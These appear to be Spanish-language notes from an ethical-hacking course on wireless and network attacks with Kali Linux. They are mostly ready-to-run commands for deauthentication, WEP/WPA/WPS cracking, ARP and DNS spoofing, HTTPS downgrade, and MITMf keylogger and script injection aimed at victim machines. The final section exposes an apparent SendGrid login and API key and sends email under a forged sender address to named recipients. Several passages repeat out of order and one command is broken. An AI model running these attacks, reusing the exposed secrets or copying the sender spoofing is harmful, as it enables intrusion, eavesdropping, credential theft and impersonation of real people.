CONFIGURANDO EL LABORATORIO
Se requiere descargar VirtualBox en su nueva versión
Se requiere descargar Kali Linux, la imagen para virtual Box la cual la podemos encontrar en la pagina de Kali bajando el ISO o bajando la imagen .Ova directamente del sitio Offensive-Security
Videos complementarios:
Creando y usando Snapshots en VirtualBox.
¿COMO SE ACTIVA UNA TARJETA INALAMBRICA EN VIRTUALBOX PARA QUE LA RECONOZCO LA MAQUINA VIRTUAL Y PODER PONERLA EN MODO MONITOR?
What is MAC Address & How To Change It
¿PORQUE CAMBIAR LA MAC ADDRESS?
COMO SE CAMBIA EN LINUX LA MAC ADDRESS
Con el comando ifconfig listamos las interfaces, debe aparecer lal Wlan0 como interface wireless.
Desactivar la tarjeta Wifi
root@kali:~# ifconfig wlan0 down
Luego hay que cambiar la dirección Mac con el comando
root@kali:~# ifconfig wlan0 hw ether 00:11:22:33:44:55
o usarl el comando
root@kali:~# ip link set wlan0 address 00:11:22:33:44:55
o usarl el comando
root@kali:~# ip link set wlan0 address 00:11:22:33:44:55
y activamos la tarjeta de nuevo
root@kali:~# ifconfig wlan0 up
al ejecutar ifconfig de nuevo podremos ver la nueva dirección mac falsa
MODOS DE LA TARJETA WIRELESS (MONITOR PARA PODER CAPTURAR TRAFICO)
Al correr el comando iwconfig podemos ver las interfaces wireless y el modo en el que se encuentra nuestra interfaz wireless (por lo general Mode:Managed), para cambiarlo ocupamos entonces lo siguiente.
root@kali:~# configurar wlan0 down
o tambien con el comando iplink porque ifconfig esta descontinuado en muchos linux
root@kali:~# ip link set wlan0 down
o tambien con el comando iplink porque ifconfig esta descontinuado en muchos linux
root@kali:~# ip link set wlan0 down
Para matar cualquier proceso que pueda estar haciendo uso de la tarjeta que impida ponerla en modo monitor usamos el siguiente comando.
root@kali:~# airmon-ng check kill
Ahora sigue lo siguiente
root@kali:~# iwconfig wlan0 mode monitor
Finalmente activamos la interfaz de red de nuevo
root@kali:~# ifconfig wlan0 up
para ver que si cambiamos a modo monitor usamos el comando
root@kali:~# iwconfig
root@kali:~# ifconfig wlan0 up
para ver que si cambiamos a modo monitor usamos el comando
root@kali:~# iwconfig
PACKET SNIFFING (USANDO AIRODUMP-NG)
Capturar paquetes para descubrir redes
root@kali:~# airodump-ng wlan0
Va listar todas las redes en una tabla con la siguientes estructura
BSSID PWR Beacons #Data CH MB ENC CIPHER AUTH ESSID
Una vez listadas las redes encontramos la red objetivo (preferentemtne debe tener bastante PWR) y utiilizaremos el comando de nuevo de la siguiente forma
root@kali:~# airodump-ng --bssid A8:BD:27:C3:63:21 --channel 1 --write test wlan0
nota: la opción --write es para escribir en el archivo de nombre test
Se conmprende que cuando se utiliza el cifrado wpa2, los paquetes capturados están encriptados.
Leer mas información en el enlace siguiente https://www.dropbox.com/s/23v32giqqepivji/Networks-Pre-Connection-Attacks.pdf?dl=0
DEAUTHENTICATION ATTACK (desconectando equipos de la red, es necesario saber la contraseña de la red)
GAINING ACCESS INTRODUCTION
Wep Cracking
root@kali:~# airodump-ng --bssid 00:26:44:AE:55:D4 --channel 7 --write arpreplay wlan0
Posteriormente en otra terminal hay que correr e comando aireplay-ng con la opción --fakeauth la mac address del router o access point y además la mac address de nuestro adaptador. El comando quedaría de la siguiente forma.
root@kali:~# aireplay-ng --fakeauth 0 -a 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0
Con esto ya tenemos asociado el router mac y el mac de la tarjeta por lo cual va aparecer en la tabla algo similar a la foto siguiente
Ahora procederemos a generar trafico y forzar al router a generar nuevos paquetes e incrementar el numero de datos (columna #Data) par hacer esto utilizaremos el comando aireplay-ng de nuevo de hecho lo copiaremos del utilizado con anterioridad pero lo unico que modificaremos será la opcion --fakeauth por la opcion arpreplay removiendo el numero 0 y cambiando la opción -a por la opción -p quedando el comando de la siguiente manera:
root@kali:~# aireplay-ng --arpreplay -b 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0
Lo que hace este comando es que el wireless adapter esta esperando por paquetes ARP, una vez que hay algun paquete arp trasmitido este sera capturado, este sera trasmitido al access point para forzar a generar un nuevo paquete con IVs, podras ver a co ntinuación que se incremntaran el numero de paeuqtes muy rapido sin necesidad de que hubiera trafico o alguien trabajando conectado en la red.
Posteriormente a esto vamos a ejecutar el comando para asociar la mac del router con la mac de la tarjeta.
root@kali:~# aireplay-ng --fakeauth 0 -a 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0
Al correr el comando aparecerá una leyenda que dice KEY FOUND!, no olviemos remover los dos puntos que hay entre los numeros ejemplo:
WPS (Wi-Fi Protected Setup) es un estándar de 2007, promovido por la Wi-Fi Alliance1 para facilitar la creación de redes WLAN. En otras palabras, WPS no es un mecanismo de seguridad de por sí, se trata de la definición de diversos mecanismos para facilitar la configuración de una red WLAN segura con WPA2, pensados para minimizar la intervención del usuario en entornos domésticos o pequeñas oficinas.1 Concretamente, WPS define los mecanismos a través de los cuales los diferentes dispositivos de la red obtienen las credenciales (SSID y PSK) necesarias para iniciar el proceso de autenticación.
CREANDO A WORDLIST (LISTA DE PALABRAS)
Se conmprende que cuando se utiliza el cifrado wpa2, los paquetes capturados están encriptados.
Leer mas información en el enlace siguiente https://www.dropbox.com/s/23v32giqqepivji/Networks-Pre-Connection-Attacks.pdf?dl=0
DEAUTHENTICATION ATTACK (desconectando equipos de la red, es necesario saber la contraseña de la red)
Para poder desconectar un equipo de la red no es necesario que nuestro equipo desde el cual vamos a realizar el ataque este conectado a la red, es necesario escanear las redes con el comando
root@kali:~# airodump-ng wlan0
Para descubrir cual es el Mac address del access point al cual nuestro equipo objetivo esta conectado.
Anteriormente al correr el comando root@kali:~# airodump-ng wlan0
este comando nso da la lista de los puntos de acceso (BSSID) y de los equipos (STATION) que estan conectados, es necesario ubicar las mac address para poder continuar con nuestro ataque de desconexión. Ejemplo de la tabla.
EL comando a ejecutar para realizar el ataque de desconexión es el siguiente:
root@kali:~# aireplay-ng --deauth 100000000 -a 70:4F:57:CD:EE:BC -c 48:2C:A0:67:CC:A4 wlan0
la primer mac address es del access point o router en donde esta conectada la computadora o cliente y el segundo mac es del dispositivo al cual queremos dejar sin conexión.
nota. Es importante ejecutar al mismo tiempo este comando anterior y este que se ilustra a continuación.
root@kali:~# airodump-ng --bssid A8:BD:27:C3:63:21 --channel 1 wlan0
En resumen se ejecutan los dos comandos últimos vistos.
GAINING ACCESS INTRODUCTION
Wep Cracking
Para poder crackear entonces redes con WEP necesitaremos:
1. Capture a large numer of packets /IVs -------> using airodump-ng
2. Analyse the captured IVs and rack the key-------->using aircrack-ng
En una terminal empezamos a capturar paquetes con el comando:
root@kali:~# airodump-ng --bssid 00:26:44:AE:55:D4 --channel 7 --write basic-wep wlan0
Tenemos que tener suficientes datos capturados, eso lo podemos ver en la columna #Data al menos unos 5 mil ivs (los datos de la columna #Data)
Posteriormente analizamos los datos capturados par poder descifrar la contraseña. con el comando:
root@kali:~# aircrack-ng basic-wep-01.cap
El problema se da cuando la red no esta ocupada porque va tardar mucho tiempo en capturar suficientes IVs
Practicamente procederemos a capturar IVs co nel mismo comando utilizado con anterioridad.
Posteriormente en otra terminal hay que correr e comando aireplay-ng con la opción --fakeauth la mac address del router o access point y además la mac address de nuestro adaptador. El comando quedaría de la siguiente forma.
root@kali:~# aireplay-ng --fakeauth 0 -a 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0
Ahora procederemos a generar trafico y forzar al router a generar nuevos paquetes e incrementar el numero de datos (columna #Data) par hacer esto utilizaremos el comando aireplay-ng de nuevo de hecho lo copiaremos del utilizado con anterioridad pero lo unico que modificaremos será la opcion --fakeauth por la opcion arpreplay removiendo el numero 0 y cambiando la opción -a por la opción -p quedando el comando de la siguiente manera:
root@kali:~# aireplay-ng --arpreplay -b 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0
Lo que hace este comando es que el wireless adapter esta esperando por paquetes ARP, una vez que hay algun paquete arp trasmitido este sera capturado, este sera trasmitido al access point para forzar a generar un nuevo paquete con IVs, podras ver a co ntinuación que se incremntaran el numero de paeuqtes muy rapido sin necesidad de que hubiera trafico o alguien trabajando conectado en la red.
Posteriormente a esto vamos a ejecutar el comando para asociar la mac del router con la mac de la tarjeta.
root@kali:~# aireplay-ng --fakeauth 0 -a 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0
Posteriormente analizamos los datos capturados par poder descifrar la contraseña. con el comando:
root@kali:~# aircrack-ng basic-wep-01.cap
La clave de red en la imagen eliminando los dos puntos seria: A75AFC8DA0
Quebrando la seguridad en redes WPA y WPA2
Lo primero que vamos a escanear es para ver si existen routers o access point que tengan la caracteristica WPS
WPS contempla cuatro tipos de configuraciones diferentes para el intercambio de credenciales, PIN (Personal Identification Number), PBC (Push Button Configuration), NFC (Near Field Communications) y USB (Universal Serial Bus):
- PIN: tiene que existir un PIN asignado a cada elemento que vaya a asociarse a la red. Este PIN tiene que ser conocido tanto por el Registrar, como por el usuario (Enrollee). Es necesaria la existencia de una interfaz (e.g. pantalla y teclado) para que el usuario pueda introducir el mencionado PIN.
- PBC: la generación y el intercambio de credenciales son desencadenados a partir que el usuario presiona un botón (físico o virtual) en el AP (o en otro elemento Registrar) y otro en el dispositivo. Notar que en el corto lapso de tiempo entre que se presiona el botón en el AP y se presiona en el dispositivo, cualquier otra estación próxima puede ganar acceso a la red.
- NFC: intercambio de credenciales a través de comunicación NFC. La tecnología NFC, basada en RFID permite la comunicación sin hilos entre dispositivos próximos (0 - 20 cm). Entonces, el dispositivo Enrollee se tiene que situar al lado del Registrar para desencadenar la autenticación. De esta manera, cualquier usuario que tenga acceso físico al Registrar, puede obtener credenciales válidas.
- USB: con este método, las credenciales se transfieren mediante un dispositivo de memoria flash (e.g. pendrive) desde el Registrar al Enrollee.
Los métodos PBC, NFC y USB pueden usarse para configurar dispositivos sin pantalla ni teclado (e.g. impresoras, webcams, etc.), pero aunque el estándar contempla NFC y USB, todavía no se certifican estos mecanismos. Actualmente sólo el método PIN es obligatorio en todas las estaciones para obtener la certificación WPS; PBC es obligatorio sólo en APs.
Vulnerabilidades
Afecta a routers inalámbricos que tienen la función WPS (también llamada QSS), que en dispositivos actuales se encuentra habilitada en forma preestablecida. El fallo permite a un atacante recuperar el PIN WPS y, con él, la clave pre-compartida de la red WPA/WPA2 usando ataques de fuerza bruta en pocas horas. Los usuarios deben deshabilitar la función WPS como solución temporal. Es posible que en algunos dispositivos no pueda realizarse este procedimiento.3
Para escanear dispositivos que tengan activa la caracteristica WPS utilizamos el siguiente comando:
root@kali:~# wash --interface wlan0
Posteriormente hay que copiar el mac address para asociar de nuevo con el comando aireplay-ng usando la opción fakeauth (ataque de autenticación) quedando el comando de la siguiente manera:
root@kali:~# aireplay-ng --fakeauth 30 -a 70:4F:57:CD:EE:BC -h 68:7F:74:68:A6:85 wlan0
En otra ventana vamos a ejecutar el siguiente comando se tiene que estar ejecutando el comando anterior y a la vez ejecutar este nuevo
root@kali:~# reaver --bssid 70:4F:57:CD:EE:BC --channel 1 --interface wlan0 -vvv --no-associate
Se puede bajar una vieja versión de reaver y ejecutarlo como ejecutable co nlas mismas opciones para ver si trabaja.
Problema: Si WPS esta desactivado en tu red objetivo o si esta activado para usar el boton push no trabajará por consiguiente tenemos que crackear la actual
Escaneamos las redes y encontramos nuestra red objetivo
root@kali:~# airodump-ng wlan0
Seguido capturamos paquetes de la red objetivo con el comando:
root@kali:~# airodump-ng --bssid 70:4F:57:CD:EE:BC --channel 1 --write wpa_handshake wlan0
Lo que se busca con este comando es capturar un handshake es decir debemos esperar hasta que un cliente se conecte a la red para poder capturar, para acortar el tiempo nos desconectamos y nos volvemos a conectar de algún equipo o celular.
Ahora lo que hay que hacer es desactenticar por un periodo corto de tiempo un cliente que este asociado a la conexión del router que queremos hackear por lo cual usamos el comando:
root@kali:~/Downloads# aireplay-ng --deauth 4 -a 70:4F:57:CD:EE:BC -c 48:2C:A0:67:CC:A4 wlan0
Hasta aqui solo hemos aprendido a capturar un handshake sin embargo este no contiene información que ayude a obtener la llave.
Lo que se necesita es checar si el password es valido o no, por consiguiente crearemos una worldist la cual contiene un gran numero de pasword y revisar uno por uno a ver si es valido o no.
Ejemplo de comando:
root@kali:~# crunch 6 8 abc12 -0 test.txt
el comando que se utiliza es el siguiente:
root@kali:~# aircrack-ng wpa_handshake-03.cap -w test.txt
Securing Your Network From The Above Attacks
Sección 6, Clase 27
En kali linux se utiliza el comando netdiscover para descubrir las ip addres que estan utilizandose en una misma red a la cual estamos conectados.
root@kali:~# netdiscover -r 10.0.2.1/24
Escaneando puertos,
para escanear puertos se utiliza el comando (programa) nmap, un escaneador visual es el zenmap, en kali linux ejecutarmos ese comando y se abrirá la interfaz visual.
Ataques Man in the Middle
Arp Spoofing
Se abren dos terminales en kali linux y se ejecutan dos veces el comando arpspoof
en una terminal se ejecuta primeramente arpspoof - i eth0 -t ipdelamaquinaobjetivo(laverdaderaenlared,la victima) ipdelrouter
En otra terminal se invierte arpspoof -i etch0 -t ipdelrouter ipdelamaquinaobjetivo(laverdaderaenlared lal victima).
Ejemplo:
Luego en la maquina victima si ejecutamos el comando arp -a vamos a ver como en la tabla arp aparecen duplicadas las mac adress es decir la mac address de router es ahora la mac adress de la maquina donde ejecutamos Kali Linux.
Como la maquina con Kali no es un router, y se quiere hacer pasar por el router es neceario entonces activar el reenvio de paquetes añadiendo un 1 en el archivo /proc/sys/net/ipv4/ip_forward
Arp Spoofing Using MITMf
ejemplo de comando que se ejecuta en kali linux.
root@kali:# mitmf --arp --spoof --gateway 148.225.126.250 --target 148.225.126.215
Posteriormente al ejecutar este comando, si se navega en la computadora víctima se podrán ver los logs de los sitios visitados y si hizo un login obtener su password y contraseñas.
Bypassing HTTPS
Para poseer mas seguridad cuando se envían datos a través de la Web se utiliza el protocolo HTTPS el cual encripta la información utilizando TLS (Transport Layer Security) or SSL (Secure Sockets Layer).
Se ejecuta el mismo comando igual que el anterior cuando se realizó arp spoofing usando MITMF, pero el objetivo aqui es que los sitios qeu utilizan https en la máquina victima al navegarlos se conviertan en http para así de esta forma poder obtener http plano y poder hackear sus datos.
DNS SPOOFING
Lo primero que se hace es redireccionar a los visitantes a mi propio servidor copia. Para eso vamos a realizar una prueba primeramente iniciando el servidor web apache en kali linux eso se hace mediante el siguiente comando:
root@kali:# service apache2 start
Si desde la máquina victima ponemos la dirección de nuestra máquina kali linux podemos observar como carga la pagina web de inicio del servidor apache.
Posteriormente hay un archivo en /etc/mitmf/mitmf.conf el cual contiene una lista de nombres que apuntan hacia otras direcciones ip por ejemplo:
ahi en ese archivo vamos agregar una entrada de dns...apuntando hacia nuesstro servidor kali linux donde estamos ejecutando apache con una pagina web que queremos que cargue en la computadora de la victima..ejemplo: como nuestra computadora kali limux tenia el ip 148.225.126.217 entonces agregamos una entrada que luce asi
En la maquina kali linux debemos ejecutar entonces el siguiente comando:
mitmf --arp --spoof --gateway ipdelgateway --target ipmaquinavictima -i eth0 --dns
Ejemplo:
root@kali:/etc/mitmf# mitmf --arp --spoof --gateway 148.225.126.250 --target 148.225.126.212 -i eth0 --dns
Al ingresar entonces de la maquina vitcima y escribir en el navegador live.com nos va cargar la pagina web configurada en apache en kali linux.
MITMF Capturar pantalla e inyectar a keylogger
Primero se borra el paquete que viene en kali (se llama "Twisted").
# rm -rf /usr/lib/python2.7/dist-packages/twisted
Posteriormente se instala con el comando siguiente:
#pip install Twisted==15.5.0
Ahora hay que correr el comando mitmf pero con los plugins.., para revisar que plugines se revisa la ayuda de mitmf --help
#mitmf --help
Encontraremos varias opciones dos de ellas son el --screen y el --jskeylogger ejemplo:
root@kali# mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.101 -i -eth0 --screen
root@kali# mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.101 -i -eth0 --jskeylogger
MITMF CODE INJECTION
root@kali:# mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.101 -i -eth0 --inject --js-payload "alert('test')"
De esta forma podemos que al navegar un sitio con http como vulnweb.com aparezca una ventana con el mensaje de alerta "test".
Por otra parte si queremos generar un archivo con código malicioso procedemos a ejecutar el comando "leafpad", el cual abrirá un editor de texto visual en donde generaremos nuestro código javascript malicioso.
root@kali:~# mitmf --arp --spoof --gateway 148.225.126.250 --target 148.225.126.212 -i eth0 --inject --js-file /root/js-code.txt
ENVIAR EMAIL ANÓNIMO
Se registra en un sitio de smtp, por ejemplo sendgrid https://sendgrid.com/
Datos de registro:
usuario:elgueromisa
contraseña: Misangre1981
Luego se utiliza la aplicación de kali linux en terminal sendemail de la siguiente manera:
root@kali:~/Downloads# sendemail -s smtp.sendgrid.net:25 -xu apikey -xp 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 -f "tapiafon@gmail.com" -t "adolfo.castillo@unison.mx" -u "La tesis carlos" -m "Estoy por titularme y deseo que seas mi tutor"
INFORMATION GATHERING
INCREMENTANDO LA SEGURIDAD EN PHP.INI
Es importante poner las variables del archivo /etc/php/7.2/apache2/php.ini
allow_url_fopen=off
allow_url_include=off
ver la imagen para tener información completa














































